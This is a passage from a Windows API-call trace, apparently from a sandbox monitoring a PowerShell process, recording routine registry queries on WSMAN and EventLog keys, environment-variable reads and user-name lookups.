(cb=0x104) returned 0x18b130 [0062.643] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.643] CoTaskMemFree (pv=0x18b130) [0062.644] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.644] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.644] CoTaskMemFree (pv=0x18b130) [0062.648] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.648] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.648] CoTaskMemFree (pv=0x18b130) [0062.650] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.650] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.650] CoTaskMemFree (pv=0x18b130) [0062.650] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.650] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.650] CoTaskMemFree (pv=0x18b130) [0062.655] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d258 | out: phkResult=0x27d258*=0x308) returned 0x0 [0062.657] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27d15c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d158, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27d15c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d158*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.657] CoTaskMemFree (pv=0x0) [0062.657] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.657] RegEnumValueW (in: hKey=0x308, dwIndex=0x0, lpValueName=0x13d560, lpcchValueName=0x27d208, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x27d208, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.657] CoTaskMemFree (pv=0x13d560) [0062.657] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.658] RegEnumValueW (in: hKey=0x308, dwIndex=0x1, lpValueName=0x13d560, lpcchValueName=0x27d208, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x27d208, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.658] CoTaskMemFree (pv=0x13d560) [0062.658] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.658] RegEnumValueW (in: hKey=0x308, dwIndex=0x2, lpValueName=0x13d560, lpcchValueName=0x27d208, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x27d208, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.658] CoTaskMemFree (pv=0x13d560) [0062.658] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27d1ec, lpData=0x0, lpcbData=0x27d1e8*=0x0 | out: lpType=0x27d1ec*=0x1, lpData=0x0, lpcbData=0x27d1e8*=0x8) returned 0x0 [0062.658] CoTaskMemAlloc (cb=0xc) returned 0x1a7ce0 [0062.658] RegQueryValueExW (in: hKey=0x308, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27d1bc, lpData=0x1a7ce0, lpcbData=0x27d1b8*=0x8 | out: lpType=0x27d1bc*=0x1, lpData="2.0", lpcbData=0x27d1b8*=0x8) returned 0x0 [0062.658] CoTaskMemFree (pv=0x1a7ce0) [0062.711] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1a8 | out: phkResult=0x27d1a8*=0x30c) returned 0x0 [0062.711] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27d0ac, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0a8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27d0ac*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0a8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.711] CoTaskMemFree (pv=0x0) [0062.711] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.711] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x13d560, lpcchValueName=0x27d158, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0x27d158, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.711] CoTaskMemFree (pv=0x13d560) [0062.711] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.711] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x13d560, lpcchValueName=0x27d158, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0x27d158, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.711] CoTaskMemFree (pv=0x13d560) [0062.711] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.711] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x13d560, lpcchValueName=0x27d158, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0x27d158, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0062.712] CoTaskMemFree (pv=0x13d560) [0062.712] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27d13c, lpData=0x0, lpcbData=0x27d138*=0x0 | out: lpType=0x27d13c*=0x1, lpData=0x0, lpcbData=0x27d138*=0x8) returned 0x0 [0062.712] CoTaskMemAlloc (cb=0xc) returned 0x1a7fa0 [0062.712] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0x27d10c, lpData=0x1a7fa0, lpcbData=0x27d108*=0x8 | out: lpType=0x27d10c*=0x1, lpData="2.0", lpcbData=0x27d108*=0x8) returned 0x0 [0062.712] CoTaskMemFree (pv=0x1a7fa0) [0062.712] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.712] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.713] CoTaskMemFree (pv=0x18b130) [0062.717] CoTaskMemAlloc (cb=0x104) returned 0x18b130 [0062.717] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x18b130, nSize=0x80 | out: lpBuffer="") returned 0x0 [0062.717] CoTaskMemFree (pv=0x18b130) [0062.725] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1d8 | out: phkResult=0x27d1d8*=0x320) returned 0x0 [0062.727] RegQueryInfoKeyW (in: hKey=0x320, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27d14c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d148, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27d14c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d148*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.727] CoTaskMemFree (pv=0x0) [0062.727] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.727] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x0, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x1, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x2, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x3, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x4, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x5, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x6, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x7, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.728] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x8, lpName=0x13d560, lpcchName=0x27d1d8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27d1d8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.728] CoTaskMemFree (pv=0x13d560) [0062.728] CoTaskMemFree (pv=0x0) [0062.728] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x330) returned 0x0 [0062.728] RegOpenKeyExW (in: hKey=0x330, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.729] RegOpenKeyExW (in: hKey=0x320, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x334) returned 0x0 [0062.729] RegOpenKeyExW (in: hKey=0x334, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.729] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x338) returned 0x0 [0062.729] RegOpenKeyExW (in: hKey=0x338, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.729] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x33c) returned 0x0 [0062.729] RegOpenKeyExW (in: hKey=0x33c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.729] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x340) returned 0x0 [0062.729] RegOpenKeyExW (in: hKey=0x340, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.729] RegOpenKeyExW (in: hKey=0x320, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x344) returned 0x0 [0062.729] RegOpenKeyExW (in: hKey=0x344, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.729] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x5 [0062.786] RegOpenKeyExW (in: hKey=0x320, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x348) returned 0x0 [0062.787] RegOpenKeyExW (in: hKey=0x348, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x0) returned 0x2 [0062.787] RegOpenKeyExW (in: hKey=0x320, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x34c) returned 0x0 [0062.787] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d238 | out: phkResult=0x27d238*=0x350) returned 0x0 [0062.787] RegCloseKey (hKey=0x350) returned 0x0 [0062.788] RegCloseKey (hKey=0x320) returned 0x0 [0062.788] RegCloseKey (hKey=0x34c) returned 0x0 [0062.798] CoTaskMemAlloc (cb=0x804) returned 0x1b7a8da0 [0062.798] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b7a8da0, nSize=0x27d448 | out: lpNameBuffer="EXB9WSP\\qj4SUKboE", nSize=0x27d448) returned 0x1 [0062.800] CoTaskMemFree (pv=0x1b7a8da0) [0062.800] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.800] GetUserNameW (in: lpBuffer=0x13d560, pcbBuffer=0x27d488 | out: lpBuffer="qj4SUKboE", pcbBuffer=0x27d488) returned 1 [0062.801] CoTaskMemFree (pv=0x13d560) [0062.878] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d188 | out: phkResult=0x27d188*=0x354) returned 0x0 [0062.878] RegQueryInfoKeyW (in: hKey=0x354, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27d0fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27d0fc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0f8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.878] CoTaskMemFree (pv=0x0) [0062.878] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x0, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x1, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x2, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x3, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x4, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x5, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x6, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x7, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.879] RegEnumKeyExW (in: hKey=0x354, dwIndex=0x8, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.879] CoTaskMemFree (pv=0x13d560) [0062.879] CoTaskMemFree (pv=0x0) [0062.879] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x358) returned 0x0 [0062.879] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.879] RegOpenKeyExW (in: hKey=0x354, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x35c) returned 0x0 [0062.880] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.880] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x360) returned 0x0 [0062.880] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.880] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x364) returned 0x0 [0062.880] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.880] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x368) returned 0x0 [0062.880] RegOpenKeyExW (in: hKey=0x368, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.880] RegOpenKeyExW (in: hKey=0x354, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x36c) returned 0x0 [0062.880] RegOpenKeyExW (in: hKey=0x36c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.880] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x5 [0062.886] RegOpenKeyExW (in: hKey=0x354, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x370) returned 0x0 [0062.886] RegOpenKeyExW (in: hKey=0x370, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x0) returned 0x2 [0062.886] RegOpenKeyExW (in: hKey=0x354, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x374) returned 0x0 [0062.886] RegOpenKeyExW (in: hKey=0x374, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d1e8 | out: phkResult=0x27d1e8*=0x378) returned 0x0 [0062.886] RegCloseKey (hKey=0x378) returned 0x0 [0062.886] RegCloseKey (hKey=0x354) returned 0x0 [0062.886] RegCloseKey (hKey=0x374) returned 0x0 [0062.887] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x27d188 | out: phkResult=0x27d188*=0x374) returned 0x0 [0062.887] RegQueryInfoKeyW (in: hKey=0x374, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x27d0fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x27d0fc*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x27d0f8*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x0, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x1, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x2, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] RegEnumKeyExW (in: hKey=0x374, dwIndex=0x3, lpName=0x13d560, lpcchName=0x27d188, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x27d188, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0062.887] CoTaskMemFree (pv=0x13d560) [0062.887] CoTaskMemFree (pv=0x0) [0062.887] CoTaskMemAlloc (cb=0x204) returned 0x13d560 [0062.887] 